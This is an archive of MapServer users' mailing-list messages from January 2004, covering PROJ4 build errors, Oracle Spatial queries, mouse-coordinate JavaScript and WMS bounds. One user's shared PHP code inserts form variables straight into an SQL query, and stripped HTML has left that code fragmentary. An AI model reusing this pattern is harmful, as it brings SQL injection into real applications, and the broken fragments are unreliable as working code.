Back to your question, this error message tells you that your 'mapserv' 
  CGI is not compiled with PROJ4 support.  You didn't specify your 
platform, but since all pre-built windows executables usually include 
PROJ support, I assume that you are on Unix/Linux and compiled MapServer 
yourself. You'll need to install PROJ4 on your machine, and then 
reconfigure MapServer using --with-proj, and recompile it.

There may also be ways to run the tutorial without the PROJECTION stuff, 
but I'mnot familiar enough with the tutorial to tell.

Daniel



travis at hpfm.com.au wrote:
> Hi There,
> 
> I'm not sure if your the right person to ask but i'm not sure who can help
> me.
> 
> I'm currently running through the tutorial for mapserver and have come
> accross this error message when trying to run my .map file:
> 
> loadProjection(): Projection library error. Projection support is not
> available
> 
> when i comment out the projection area of my map file eg:
> 
> #PROJECTION
>   #  "proj=laea"
>   #  "ellps=clrk66"
>   #  "lat_0=45"
>   #  "lon_0=-100"
>   #
>   # Alternatively, you can specify an EPSG code.
>   # "init=epsg:2163"
>   #
> 
> it seems to work however does not display anything in my browser except
> for an output image of the size i specify that is simply blank (the colour
> i specify in my map file) and thats all.
> 
> If you could maybe suggest something or possibly point me in the right
> direction, it would be greatly appreciated.
> 
> Regards
> 
> Travis Klerck
> 




From jon_d_martin at hotmail.com  Thu Jan  8 15:32:33 2004
From: jon_d_martin at hotmail.com (jon martin)
Date: Thu, 8 Jan 2004 18:32:33 -0500
Subject: [Mapserver-users] flash output and image folder
Message-ID: 

This is a multi-part message in MIME format.

------=_NextPart_000_0028_01C3D615.C7F9F3D0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

hello,

a couple of newbie questions.

i haven't had anyluck setting my map_web_imagepath to anything except a =
hardcoded path like c:inetpub... etc.

is there a trick to using relative paths?

also the only way i can get mapserver to create the image files is by =
setting the security on the map_web_imagepath folder to read and write =
for anonymous internet accounts.  this seems dangerous.

finally, i have been trying to set the imagetype to swf.  mapserver =
creates the swf files but without the labels.  i am using truetype fonts =
and fy fontfile looks correct to me.

the swf files get created in the map_web_imagepath folder, but are not =
displayed.

any help is much appreciated.

thanks,

j
------=_NextPart_000_0028_01C3D615.C7F9F3D0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable









hello,


 


a couple of newbie =
questions.


 


i haven't had anyluck setting my =
map_web_imagepath=20
to anything except a hardcoded path like c:inetpub... etc.


 


is there a trick to using relative=20
paths?


 


also the only way i can get mapserver =
to create the=20
image files is by setting the security on the map_web_imagepath folder =
to read=20
and write for anonymous internet accounts.  this seems=20
dangerous.


 


finally, i have been trying to set the =
imagetype to=20
swf.  mapserver creates the swf files but without the labels.  =
i am=20
using truetype fonts and fy fontfile looks correct to me.


 


the swf files get created in the =
map_web_imagepath=20
folder, but are not displayed.


 


any help is much =
appreciated.


 


thanks,


 


j


------=_NextPart_000_0028_01C3D615.C7F9F3D0--


From chodgson at refractions.net  Thu Jan  8 15:52:32 2004
From: chodgson at refractions.net (chodgson at refractions.net)
Date: Thu,  8 Jan 2004 15:52:32 -0800
Subject: [Mapserver-users] Oracle/PHP mapscript issues
Message-ID: <1073605952.3ffded40bfbfa@hydra>

I am using PHP-mapscript to dynamically set the DATA statement for my 
oraclespatial layer as follows:

$lha_layer = $map->getLayerByName( 'Local Health Areas' );
$lha_layer->set( 'status', MS_ON );
$statement = "the_geom FROM (SELECT the_geom, a.lha_id as lha_id, $column FROM 
lha_combined_albers a LEFT JOIN lha_stats b ON a.lha_id = b.lha_id)";
$lha_layer->set( 'data', $statement );

When I call $map->draw(), I get the error:

Warning: MapServer Error in msOracleSpatialLayerWhichShapes(): Error parsing 
OracleSpatial DATA variable. Must be 'geometry_column FROM table_name [USING 
SRID srid#]' or 'geometry_column FROM (SELECT stmt)'. 

The select statement inside the () works fine in sqlplus, and the entire data 
statement works fine in the mapfile if I use the mapserv cgi to render the map 
instead of php-mapscript.
In fact, the whole app worked fine before when I was using postgres/postgis, 
I'm just porting it over to oracle spatial.

What am I doing wrong here? Any clues?

Thanks,
Chris Hodgson



From ms57 at streamyx.com  Thu Jan  8 16:46:27 2004
From: ms57 at streamyx.com (Steve McCrone)
Date: Fri, 09 Jan 2004 08:46:27 +0800
Subject: [Mapserver-users] mouse coordinates displayed
Message-ID: <002e01c3d64a$03d43a30$ac745edb@clickntrac>

This is a multi-part message in MIME format.

--Boundary_(ID_XqQ47p3UsTw8kafqaS8+Vg)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

I am working with the "DHTML rubber band box" sample, found at  - 
  http://maps.dnr.state.mn.us/mapserver_demos/workshop

 I wish to have the mouse coordiantes (in the projection of the shape file) displayed when the user moves the mouse around.


Thanks

--Boundary_(ID_XqQ47p3UsTw8kafqaS8+Vg)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: 7BIT









I am working with the "DHTML rubber band box" 
sample, found at  - 



 


 I wish to have the mouse coordiantes (in the 
projection of the shape file) displayed when the user moves the mouse 
around.


 


 


Thanks


--Boundary_(ID_XqQ47p3UsTw8kafqaS8+Vg)--


From travis at hpfm.com.au  Thu Jan  8 20:28:51 2004
From: travis at hpfm.com.au (travis at hpfm.com.au)
Date: Fri,  9 Jan 2004 15:28:51 +1100 (EST)
Subject: [Mapserver-users] Projection library error
Message-ID: <4573.203.45.118.163.1073622531.squirrel@www.hpfm.com.au>

Hi there,

I seem to be having problems with PROJECTION while running the Mapserver
tutorial. i'm getting the error message:

loadProjection(): Projection library error. Projection support is not
available

it was suggested that i need to install PROJ4, i have and now i get the
error message:

Server error!
The server encountered an internal error and was unable to complete your
request.
Error message:
Premature end of script headers: mapserv

when i try to access the PROJ4 file on the linux server it doesn't work.
we get the httpd error log as below:


error_log:[Fri Jan 09 14:53:45 2004] [error] [client 192.168.0.250]
/var/www/cgi-bin/mapserv: error while loading shared lib
raries: libproj.so.0: cannot open shared object file: No such file or
directory
error_log:[Fri Jan 09 14:53:56 2004] [error] [client 192.168.0.250]
/var/www/cgi-bin/mapserv: error while loading shared lib
raries: libproj.so.0: cannot open shared object file: No such file or
directory



root at hpfm01 httpd]# locate libproj.so.0
/usr/local/lib/libproj.so.0.4.1
/usr/local/lib/libproj.so.0


we configured and compiled mapserver with the proj4 as instructed on the
instal but it doesn't work?

any suggesstions would be greatly appreciated.

regards

Travis Klerck












From morissette at dmsolutions.ca  Thu Jan  8 20:55:06 2004
From: morissette at dmsolutions.ca (Daniel Morissette)
Date: Thu, 08 Jan 2004 23:55:06 -0500
Subject: [Mapserver-users] Projection library error
In-Reply-To: <4573.203.45.118.163.1073622531.squirrel@www.hpfm.com.au>
References: <4573.203.45.118.163.1073622531.squirrel@www.hpfm.com.au>
Message-ID: <3FFE342A.3080509@dmsolutions.ca>

travis at hpfm.com.au wrote:
> 
> when i try to access the PROJ4 file on the linux server it doesn't work.
> we get the httpd error log as below:
> 
> 
> error_log:[Fri Jan 09 14:53:45 2004] [error] [client 192.168.0.250]
> /var/www/cgi-bin/mapserv: error while loading shared lib
> raries: libproj.so.0: cannot open shared object file: No such file or
> directory


See http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?FindingSharedLibraries

-- 
------------------------------------------------------------
  Daniel Morissette               morissette at dmsolutions.ca
  DM Solutions Group              http://www.dmsolutions.ca/
------------------------------------------------------------



From palle at mail-online.dk  Thu Jan  8 23:40:26 2004
From: palle at mail-online.dk (Palle Due Larsen)
Date: Fri, 09 Jan 2004 08:40:26 +0100
Subject: [Mapserver-users] mouse coordinates displayed
In-Reply-To: <002e01c3d64a$03d43a30$ac745edb@clickntrac>
References: <002e01c3d64a$03d43a30$ac745edb@clickntrac>
Message-ID: 

Hi,

I don't know the demo, but it appears you would have to make some change
in the function function dBox_mousemove(e) in dbox.js. 
You would need to calculate the coordinates yourself, you know the pixel
coordinates, the image size and the extent, that is sufficient for most
projection (but not lat/long).
To output the the result you can use window.status = "x: "+yourX+", y:
"+yourY"; Personally I hate it when webpages write to the statusbar, but
that's the easiest way. Otherwise use some DHTML to write to a div or span.

Best regards
Palle Due Larsen
Carl Bro GIS&IT

-----Original Message-----
From: Steve McCrone 
To: mapserver-users at lists.gis.umn.edu
Date: Fri, 09 Jan 2004 08:46:27 +0800
Subject: [Mapserver-users] mouse coordinates displayed

> I am working with the "DHTML rubber band box" sample, found at  - 
>   http://maps.dnr.state.mn.us/mapserver_demos/workshop
> 
>  I wish to have the mouse coordiantes (in the projection of the shape
> file) displayed when the user moves the mouse around.
> 
> 
> Thanks
> 

F? en gratis emailkonto her: www.mail-online.dk 
-----------------------------------------------
Deltag i en lille konkurrence p? nettet, og
vind et gavekort p? 50.000 kroner...
KLIK HER: www.nyhedsbasen.dk/konkurrence




From arnulf.christl at ccgis.de  Fri Jan  9 03:33:53 2004
From: arnulf.christl at ccgis.de (Arnulf Christl)
Date: Fri, 09 Jan 2004 12:33:53 +0100
Subject: [Mapserver-users] mouse coordinates displayed
In-Reply-To: <002e01c3d64a$03d43a30$ac745edb@clickntrac>
References: <002e01c3d64a$03d43a30$ac745edb@clickntrac>
Message-ID: <3FFE91A1.3050203@ccgis.de>

Steve McCrone wrote:

> I am working with the "DHTML rubber band box" sample, found at  -
>   http://maps.dnr.state.mn.us/mapserver_demos/workshop
>  
>  I wish to have the mouse coordiantes (in the projection of the shape 
> file) displayed when the user moves the mouse around.
>  
>  
> Thanks

Hi,
you can have a look at how it has been done in the Mapbender Client 
Suite at http//wms.ccgis.de
It is implemented in PHP an JavaScript and can be downloaded at 
SourceForge. Beware that as Palle has said it only works correct for 
projected SRS where the client can calculate coordinates without the 
need to run it throuhg a projection library.

Arnulf.



From hugo at pbh.gov.br  Fri Jan  9 05:07:51 2004
From: hugo at pbh.gov.br (Hugo Nathaniel Rodrigues)
Date: Fri, 9 Jan 2004 11:07:51 -0200
Subject: [Mapserver-users] happiness
References: 
Message-ID: <005801c3d6b2$0b7510d0$7a00110a@ESTIVA>

sure, this is the email i sended to one of the forum users about all my
work:

------------------------------ start
i use two php files, one to make my search (the search screen) and other to
send my results to the map (the result screen)...
this are my files:
my map file:
NAME FIRSTMAP
SIZE 400 300
STATUS ON
EXTENT 598047.223047 781652.733880 619791.428883 812944.406142
UNITS METERS
IMAGECOLOR 255 255 255
SYMBOLSET ../etc/symbols.sym

WEB
IMAGEPATH '/tmp/ms_tmp/'
IMAGEURL '/ms_tmp/'

LOG '/tmp/gmap.log'
END

LAYER
  NAME prov_bound
  CONNECTIONTYPE OGR
  CONNECTION 'mapinfo_files/distrito.tab'
  METADATA
    'DESCRIPTION' 'Province'
  END
  TYPE POLYGON
  STATUS ON
  DATA province
  CLASS
    NAME 'Province'
    OUTLINECOLOR 120 120 120
  END
END

LAYER
  NAME pontomapa
  TRANSFORM TRUE
  STATUS DEFAULT
  TYPE POINT
  CLASS
    SYMBOL 2
    COLOR 0 0 0
    SIZE 8
  END
#  FEATURE
#    POINTS 618579.06 806912.68 END
#  END
END

END

the php search intro file
"
. $registro["TYPE"] . " " . $registro["STREETNAME"] . " - " .
$registro["TOWNTYPE"] . " " . $registro["TOWN"] . "";
 }
 mssql_close();
}

if ($btselecionar != ""){
 if (strlen($numimovel) == 1){
  $numimovel = "0000" . $numimovel;
 }
 if (strlen($numimovel) == 2){
  $numimovel = "000" . $numimovel;
 }
 if (strlen($numimovel) == 3){
  $numimovel = "00" . $numimovel;
 }
 if (strlen($numimovel) == 4){
  $numimovel = "0" . $numimovel;
 }
 $numimovel = $numimovel . strtoupper($letraimovel);
 $conn=mssql_connect($ServidorBanco,$UsuarioBanco,$SenhaBanco);
 $sql = "SELECT Val_Cood_X, Val_Cood_Y FROM put your xy table here WHERE
NUM_IMOV = '$numimovel' AND STREETCODE = $enderecoselecionado";
 $resultado = mssql_query($sql);
 $valorx = mssql_result($resultado,0,"Val_Cood_X");
 $valory = mssql_result($resultado,0,"Val_Cood_Y");
 mssql_close();
}


?>


Pesquisa Endere?o XY no mapa











 

 

    
Pesquisa
Endere?o 

  


 

        
            Selecione um Endere?o e digite o número do seu
imóvel:
             

 
  

               Número
               do Imóvel:
               
            Letra: 
            

 
 
 
 

 		
 


 

 
  Digite o nome
da rua
 
 
  
 
 

 

 
  Digite o nome
do bairro
 
 
  
 
 

 

 
 
 
 



  








the php map file:
getLayerByName("pontomapa");
$l_pontomapa->set("status",1);
$pt = ms_newPointObj();
$pt->setXY( $pontox, $pontoy );
$image=$map->draw();
$pt->draw($map, $l_pontomapa, $image, 0, "anyname");
$image_url=$image->saveWebImage(MS_PNG,1,1,0);
?>


  
  Example 1: Displaying a map
  
  
 Endere?o:
 

 
 
 
 

 

    >
  

------------------------------ end

cheers
Hugo Rodrigues
Analista/Consultor
SSSS - Prodabel
----- Original Message ----- 
From: "Tyler Mitchell" 
To: "Hugo Nathaniel Rodrigues" 
Sent: Thursday, January 08, 2004 6:05 PM
Subject: Re: [Mapserver-users] happiness


>
>
>
>
>
> Congratulations.  I'd love to see how you did it if you were willing to
> share :)
>
> mapserver-users-admin at lists.gis.umn.edu wrote on 01/08/2004 08:58:19 AM:
>
> > i just finished one little application (my first) where you can type
> > one address with incomplete names of street and town, the
> > application will found all the matches and will give you the list to
> > you to choose one, then you type the number of your address and the
> > application will show you the map of the city with one star symbol
> > in the location of the address you typed... worked very well!!!!!!!!
> >
> > i make it in php accessing ms-sql database and php_mapscript +
> > mapserver (apache / php)
> >
> > thanks for all the support from the forum, special thanks to you
> > daniel, good work guys, good work!!!!!!
> > Hugo Rodrigues
> > Analista/Consultor
> > SSSS - Prodabel



From cpurvis at asg.sc.edu  Fri Jan  9 07:13:41 2004
From: cpurvis at asg.sc.edu (Charlton Purvis)
Date: Fri, 9 Jan 2004 10:13:41 -0500
Subject: [Mapserver-users] CLASS-level TRANSFORM & OFFSET?
Message-ID: 

This is a multi-part message in MIME format.

------_=_NextPart_001_01C3D6C3.2A462EEA
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

Hi, folks:

I'm not saying that the following is the best approach, but it is, at
least, *an* approach.

Attached is a color bar centigrade legend.  It's actually a bonafide
layer made up of a bunch of line segments and several labels.  It all
sits neatly inside a postgis geometry table, and the LAYER is broken
down into a bunch of CLASSes to give the line segments specific RGB
values.

So this image is a collection of segments w/ specific pixel-based
(x,y)'s.

I do this because our color ramp is still in flux, and I don't want to
have to create a static .png every time our image changes.  And it is
quite possible that once we're further along, the ramp, itself, will be
flexible in an ad-hoc basis.  So it would be important that I keep the
image dynamic.

That being said, is there any way to use something like TRANSFORM NO and
something like OFFSET X Y at the LAYER level to tell MapServer where the
origin of that image coordinate's (0,0) should be?

Why?  So I can keep the legend a true geometric LAYER as well as let my
WMS customers position it wherever they'd like in their image.  (Perhaps
that 2nd statement is another thread.)

Thanks,

Charlton

=20
=20
=20
Charlton Purvis
(803) 777-8858 : voice
(803) 777-3935 : fax
cpurvis at sc.edu
=20
Baruch Institute
University of South Carolina
Columbia, SC 29208


------_=_NextPart_001_01C3D6C3.2A462EEA
Content-Type: image/png;
	name="sst_legend.png"
Content-Transfer-Encoding: base64
Content-Description: sst_legend.png
Content-Disposition: attachment;
	filename="sst_legend.png"

iVBORw0KGgoAAAANSUhEUgAAACoAAADECAMAAAGpVHMNAAACUlBMVEX///8AAAABAQEEAwMHBQUL
BwcOCQkRCwsVDg0YEA8bEhEfFBMiFhUlGBcpGxksHRsvHx4zISA2IyI5JSQ9KCZAKihDLCpHLixK
MC5NMzBRNTJUNzRXOTZbOzlePTthQD1lQj9oREFrRkNvSEVySkd1TUl5T0t8UU2AU0+DVVGGWFSK
WlaNXFiQXlqUYFyXYl6aZWCeZ2KhaWSka2aobWirb2qucmyydG61dnG4eHO8enW/fHfCf3nGgXvJ
g33MhX/OjIzTlpbDoKDHqqrHpqrIMlDRPFrfRmX/UG3/Wnj/Y4L/boT/eJb7g6D/jLH/kqr/lqX/
mqr/n63/qMD/s9VuAG54AHiCAIKMAIyWAJagAKCqAKq0ALS/AL/IAMjmAObmAP/XAP/NAP/DAP+x
AP+gAP+aAP+CAP92AP9nAP9TAP8AAP8APP8AS/8AVf8AX/8Aav8AeP8Aff8Agv8Aiv8AkP8AmP8A
oP8AqP8AtP8Av/8AyP8Azf8A1f8A3P8A4f8A5v8A8P8A9v8A//8A/+sA/9wA/8kA/7QA/4wA/wBl
/wCL/wCg/wC0/wDI/wDc/wDr/wD//wD/8QD/6gD/4gD/2AD/0AD/yAD/wAD/uQD/sgD/qwD/pAD/
nQD/lgD/jAD/ggD/eAD/bgD/ZQD/WgD/UQD/AADxAADmCwDcAADRAADIAAC5AACvAAClAACaAACM
AACCAAB4AABuAABjAABaAABQAABLAABGAABHAABCAAA8AAA4AAAzAAAsAADf398/Pz9fX19/f3+f
n5+/v78fHx+2fKfyAAAF1UlEQVR4nL2Y7XtdQxTF5wZFUARFUARFUARFUARFUARFUARFUARF0BIU
QREUQREUQREUQe/7/2XOnjXnnr0y3V94/L7MPuuu59x952XvSZwDs7Ou4YeZGXmanpZhakqGyUkZ
JiZc3Q/j4/I0NibD6KgMIyMyDA/LMDQkw+CgDAMDMvT3y9DXJ0Nvrww9PTJ0d8vQ1SVDZ6cMHR0y
tLfL0NbmcnyyzZhrSDVkGhL1eeZphixDkiHHkGLIMCQY8gvphexCciG3kFrILCQW8vJpVfKstnlc
rSLxVo8LodviiUlv9sR4kyfGGz0x3uBxrirxek/U13pivMYT49WeGK/yxHilJ8YrPDFe7onxMk+M
l3pivMTjSiWJF3uyqc5Y5ImehZ4YL/DEeL4nxvM8ruQYmSonH8x6EMqkNSWcmcEmVNM3PY09qSZy
agpbVE3p5CR2rJrciYlsY0hCYZqF8XHsZzXhY2PY3mrqR0ex29UijIxg86vlGB7GWVALMzSUbbxy
FmKJsskdHMRJUYs1MICDo5atvx/nSC1gXx+OlVrK3l6csrioEvZ4XE1CWd5AdzfOoFrori4cSbXk
nZ04oWrxOzpwYNU2aG/Pzq98s2yIELa1FY9zir9AFlddBfvod5DFzQo2qfsF6Df8CLT6HdDq10Cr
XwCtfgq0+hHQ6vtAq+8AH1ZK5TJ+xptAHmqVUqgCr4HMm+2WuqgvA/3eF4BWnwVafRpo9Qmg1UeB
Vh8CWr0faPUeoNU7gfy0aqwztwF5qKIYupuBPMTt4G4A+r3XAq1eBbR6OdDqJUCrFwKtnge0ejbQ
6hlAq6cCHzZa6klAie54oN9wDNDqkUCrhwGtHgy0egDQ6r5Aq3sBre4O5KEZ1V2APOQ9Ykeg1X/N
NpBts5qLrblYYOr5HM+CLK7FvafKTtn3xpDbVuC1Ui3/tnQxmgFaTZeoLUCr6cI1DbSaLmebgVbT
RW4KaDVd+jYBraYL4iTQarpMbgRaLRTPsq+RWIwJABOWQ5XUeiwbG4A8ZL1Y5EKhbZSz/SCbdRzo
HNLldz3QaroojwGtpkv1WqDVdAEfBVpNl/U1QKvpYj8CtJpuAauBVtONYRhoNd0uVgGttpqIX8dq
OfRHuWiFy1aj1Colhdbi1TJ2yUogal6iCg2n5F+CUjAIdA7pNrQCaDXdnAaAVtMtaznQarqR9QOt
ptvbMqDVdNPrA1pNt8KlQKvpBtkLtJpum0uAyytyRqGZ5vU7XHrl4utwgxJaLTZ2hYzFwKnOm268
3UCr6Xa8CGg13aS7gFbTrXsh0Gq6oXcCrabb/AKg1XTz7wBaTV8J5gOtqotCTjuQh3JU1fUhZx5w
rrAd9KUipw24/4Oy/0ulKsk3ireav4n8g8zUqBatfxJBrZZKjezt6q70B1F4a7mpr1W/EZnW9Mej
VsvTiPxKGL/2Z8Kw/kQY1h8Iw/o9YVi/JQzrN4Rh/YowrF8ShvVzwrB+RhjWTwjD+jFhWD8kDOsH
hGF9jzCs7xKG9W0iqHIOqq5RKVrfIlqf+KNVrRetbxAtZyW8vJ43p9eJaKzm9S4/ia8SyLWUUSgz
Ga8Qxgy8RBjWFwnD+jxhWJ8jDOs6wrA+QxjWpwjD+iRhWB8nDOtjhGF9hDCsDxOG9UHCsD5AGNb7
CMN6L2FY7yYM611EUOWSX2uWKsX/rNxBZFqlnB29Zp3eejsR1MxaqjcLZ9BzK1Gw5n96gluIlrUS
ilGLmwhjBm4kDOv1hGG9jjCs1xCG9WrCsF5JGNYrCMN6GWFYLyUM68WEYb2IMKwXEIb1fMKwnksY
1nMIw3oWYVjPJAzr6YRhPY2Ieo2PtnOnEJCb5TlOdzKxfac7kRCxOvfbPScQIqb/HXocsb2f7zmW
MKxHE4b1KMKwHkEY1sMJw3ooYVgPIQzrQYRhPZAwrPsThnU/wrDuQxjWvQnDuidhWPcgDOtuROuT
Cm/wXYn8g8acs7AzUfiIrTsRhnUHwrD+9/wDXBfW/MwTj8kAAAAASUVORK5CYII=

------_=_NextPart_001_01C3D6C3.2A462EEA--


From jgorkos at lenexa.sema.slb.com  Fri Jan  9 07:14:22 2004
From: jgorkos at lenexa.sema.slb.com (John Gorkos)
Date: Fri, 09 Jan 2004 09:14:22 -0600
Subject: [Mapserver-users] WMS BBOX vs. Actual Bounds
In-Reply-To: <200401071220.20239.jgorkos@lenexa.sema.slb.com>
References: <200401071220.20239.jgorkos@lenexa.sema.slb.com>
Message-ID: <200401090914.22770.jgorkos@lenexa.sema.slb.com>

Gee.. ask what time it is, wind up with a treatise on atomic clocks....

Thanks to all of you that offered bits of code and advice.  We're actually 
going with a hybrid Mapscript/Java Applet solution that should fit the bill 
for what we're looking for, along with some code that Steve Lime provided.  
Thanks, Steve.
  Thanks again for the lively discussion.

John Gorkos


On Wednesday 07 January 2004 12:20, John Gorkos spake thusly:
> Howdy-
>   My programming team is up against a hard deadline, and we're stymied.
> Basic project is this:  use a WMS mapserver to feed a java applet a base
> map, and then connect (via TCP) to a real-time management system that feeds
> us status of devices across the planet, coded by lat/long and a status
> code. These then get overlayed on top of the base map on a "glass pane"
> that can be changed without redrawing the base.  The result is little
> winkin', blinkin' lights on top of a map that show (in our case) whether or
> not electricity is on in various places across the US.
>   The problem is that when we send a BBOX request to the mapserver from the
> java applet, we don't get back a map with the exact coordinates we asked
> for. That's OK, I realize that mapserver gets as close as it can given the
> image size, but I've GOT to know what the real boundaries are so I can
> overlay my status dots on top.  How do I get this information back from the
> mapserver? On a related thread, how does the mapserver decide what the real
> boundaries are, when given when the bounds requested don't match the aspect
> ratio of the returned image?

-- 
John Gorkos
quidquid latine dictum sit altum viditur
  (anything said in Latin sounds profound)


From rsanabria at prosis.com  Fri Jan  9 08:14:24 2004
From: rsanabria at prosis.com (=?ISO-8859-1?Q?Ricardo_Sanabria_Mart=EDnez?=)
Date: Fri, 09 Jan 2004 11:14:24 -0500
Subject: [Mapserver-users] Geocode
Message-ID: <3FFED360.8070904@prosis.com>

The question is: Is There free tool to Geocode with Mapserver?

thanks,

Ricardo




From steve.lime at dnr.state.mn.us  Fri Jan  9 08:49:46 2004
From: steve.lime at dnr.state.mn.us (Steve Lime)
Date: Fri, 09 Jan 2004 10:49:46 -0600
Subject: [Mapserver-users] mouse coordinates displayed
Message-ID: 

Hi Steve: It's pretty straight forward. There are 2 steps:

1) Add (or uncomment) the the line: main.verbose = true; right after
the main dBox object is created.

2) edit the function mousemove_handler, something like this:

  function mousemove_handler(name, x, y) {
    var status = '';
    var utm = new Point(Number(ms.extent[0] + x*ms.cellsize),
Number(ms.extent[3] - y*ms.cellsize));
    // var latlon = UTMToGeographic(15, utm);

    status = "UTM Coordinates: x=" + Math.round(utm.x) + " and y=" +
Math.round(utm.y);
    // status = status + ", latitude =" + latlon.y + " and longitude="
+ latlon.x;

    window.status = status;
  }

That's it. If you didn't change the javascript in the demo you should
only have to uncomment one line. Let me know if you have questions.

Steve

>>> Steve McCrone  1/8/2004 6:46:27 PM >>>
I am working with the "DHTML rubber band box" sample, found at  - 
  http://maps.dnr.state.mn.us/mapserver_demos/workshop 

 I wish to have the mouse coordiantes (in the projection of the shape
file) displayed when the user moves the mouse around.


Thanks


From woodbri at swoodbridge.com  Fri Jan  9 09:19:46 2004
From: woodbri at swoodbridge.com (woodbri at swoodbridge.com)
Date: Fri, 09 Jan 2004 12:19:46 -0500
Subject: [Mapserver-users] Geocode
In-Reply-To: <3FFED360.8070904@prosis.com>
Message-ID: <3FFE9C62.3806.D58F4AF3@localhost>

Ricardo,

The Answer is no. Mapserver does not have a Geocode tool as part of 
it's release. But it is not that difficult to built a basic one using 
MySQL and PHP or Perl. In fact another list member just posted his 
source one how to do just that. Check the archives.

-Steve W.
 http://imaptools.com/

On 9 Jan 2004 at 11:14, Ricardo Sanabria Mart?nez wrote:

> The question is: Is There free tool to Geocode with Mapserver?
> 
> thanks,
> 
> Ricardo
> 
> 
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> 





From stephen.clark at focus.ca  Fri Jan  9 10:40:38 2004
From: stephen.clark at focus.ca (Stephen Clark)
Date: Fri, 9 Jan 2004 10:40:38 -0800
Subject: [Mapserver-users] display of lines using ISO standard linetypes
References: 
Message-ID: <05d701c3d6e0$13ab07e0$6c000a0a@sclark>

hi all,

I am looking for a way to use the SYMBOL attribute to display ISO linetypes
such as:

ISO dash,
ISO dash space
ISO long-dash dot

as examples.

Has anyone implemented this feature for the display of linetypes?

thanks
Stephen




From chodgson at refractions.net  Fri Jan  9 09:39:28 2004
From: chodgson at refractions.net (chodgson at refractions.net)
Date: Fri,  9 Jan 2004 09:39:28 -0800
Subject: [Mapserver-users] Oracle/PHP mapscript issues
In-Reply-To: <1073612633.3ffe07598f75b@webmail.cttmar.univali.br>
References: <1073612633.3ffe07598f75b@webmail.cttmar.univali.br>
Message-ID: <1073669968.3ffee7502bf57@hydra>

Thanks for the help Fernando - but I'm ashamed to admit the problem was with my 
own code. I had the same data statement being set twice in my code, once for  
drawing the polygon layer and once for the symbology layer ( to draw hash lines 
across some of the polyogons ). I didn't notice this and mapserver wasn't 
showing the query that was in error - so I never realized that I was only 
fixing one of the two queries - until now.

Thanks,
Chris Hodgson

Quoting FERNANDO SIMON :

> Chris,
>    Well, I do not know if I can help you but I will try. The problem can be
> this, you did not  define in you query the parameter "AS" for the Geometry
> Colmun that you will use in the data.
>     Look this query work fine:
>        data "geom from (SELECT SDO_GEOM.SDO_POINTONSURFACE(c.coordenada,
> m.diminfo) AS GEOM FROM user_ident u, capta_agua c, user_sdo_geom_metadata m
> WHERE m.table_name = 'CAPTA_AGUA' AND m.column_name = 'COORDENADA' AND u.novo
> = 'SIM' AND u.codigo = c.codigo)"
> 
>     And this Mapscript code works fine to:
> 
>   foreach( $layer_array as $layer_name )
>     if (!empty( $layer_name ))
>    {
>       $layer = $map->getLayerByName( $layer_name );
>       $layer->set( 'status', MS_ON );
>       if($layer_name === 'pesq')
>         $layer->set( 'data', "coordenada from (select coordenada as
> coordenada,
> codigo_ott as codigo_ott from hidrografia_sc where codigo_ott = $otto)");
>       $layer_index[] = $layer->index;
>     }
> 
>     So, you need to define your Geometry Column:
>          $statement = "the_geom FROM (SELECT the_geom AS the_geom, a.lha_id
> as
> lha_id, $column FROM lha_combined_albers a LEFT JOIN lha_stats b ON a.lha_id
> =
> b.lha_id)";
> 
>     Well, sorry my poor english. If you need some help you can report me.
>     Thank`s.
> 
> ==================================================================
> Fernando Simon - simon at cttmar.univali.br
> ==================================================================
> DataBase Manager, Mapserver, OracleSpatial and PostGis Developer
> G10 - Laborat?rio de Computa??o Aplicada
> Fone: 047 - 341 7960
> http://g10.cttmar.univali.br
> ==================================================================
> 
> 
> chodgson at refractions.net wrote:
> 
> >I am using PHP-mapscript to dynamically set the DATA statement for my
> >oraclespatial layer as follows:
> >
> >$lha_layer = $map->getLayerByName( 'Local Health Areas' );
> >$lha_layer->set( 'status', MS_ON );
> >$statement = "the_geom FROM (SELECT the_geom, a.lha_id as lha_id, $column
> FROM
> >lha_combined_albers a LEFT JOIN lha_stats b ON a.lha_id = b.lha_id)";
> >$lha_layer->set( 'data', $statement );
> >
> >When I call $map->draw(), I get the error:
> >
> >Warning: MapServer Error in msOracleSpatialLayerWhichShapes(): Error parsing
> >OracleSpatial DATA variable. Must be 'geometry_column FROM table_name [USING
> >SRID srid#]' or 'geometry_column FROM (SELECT stmt)'.
> >
> >The select statement inside the () works fine in sqlplus, and the entire
> data
> >statement works fine in the mapfile if I use the mapserv cgi to render the
> map
> >instead of php-mapscript.
> >In fact, the whole app worked fine before when I was using postgres/postgis,
> >I'm just porting it over to oracle spatial.
> >
> >What am I doing wrong here? Any clues?
> >
> >Thanks,
> >Chris Hodgson
> >




From bartvde at xs4all.nl  Fri Jan  9 13:03:54 2004
From: bartvde at xs4all.nl (bartvde at xs4all.nl)
Date: Fri, 9 Jan 2004 22:03:54 +0100 (CET)
Subject: [Mapserver-users] visual symbology guide
Message-ID: <6973.194.109.194.13.1073682234.squirrel@webmail.xs4all.nl>

Hi list,

is there a visual symbology guide from Mapserver showing the cartographic
power of Mapserver?

If there is none, I would be interested in creating one if people would
send me screendumps of examples.

Best regards,
Bart


From innaj at web.de  Fri Jan  9 13:21:45 2004
From: innaj at web.de (Inna Janssen)
Date: Fri, 9 Jan 2004 22:21:45 +0100
Subject: [Mapserver-users] php mapScript: Problem with LayerObj class - maxfeatures
Message-ID: <200401092121.i09LLjQ25015@mailgate5.cinetic.de>

Hello,

I familiarizing myself with the mapScript language in php, trying out everything and
found a problem: I want to get all shape objects in a layer. I can get e.g. the first one
with $shape = $layer->getShape(-1,0);
But how do I find out how many shapes a layer has? There is the variable maxfeatures.
If I understand it correctly, a feature is only another word  for a shape.
But when I get maxfeatures ($layer->maxfeatures) I only get the  number -1!
When I enter a number above the maximum layer I get a fatal error.
(Fatal error: [MapServer Error]: msLayerGetShape(): Invalid feature id. in ... )

Does anyone know a solution to get the maximum number of shapes?

Inna





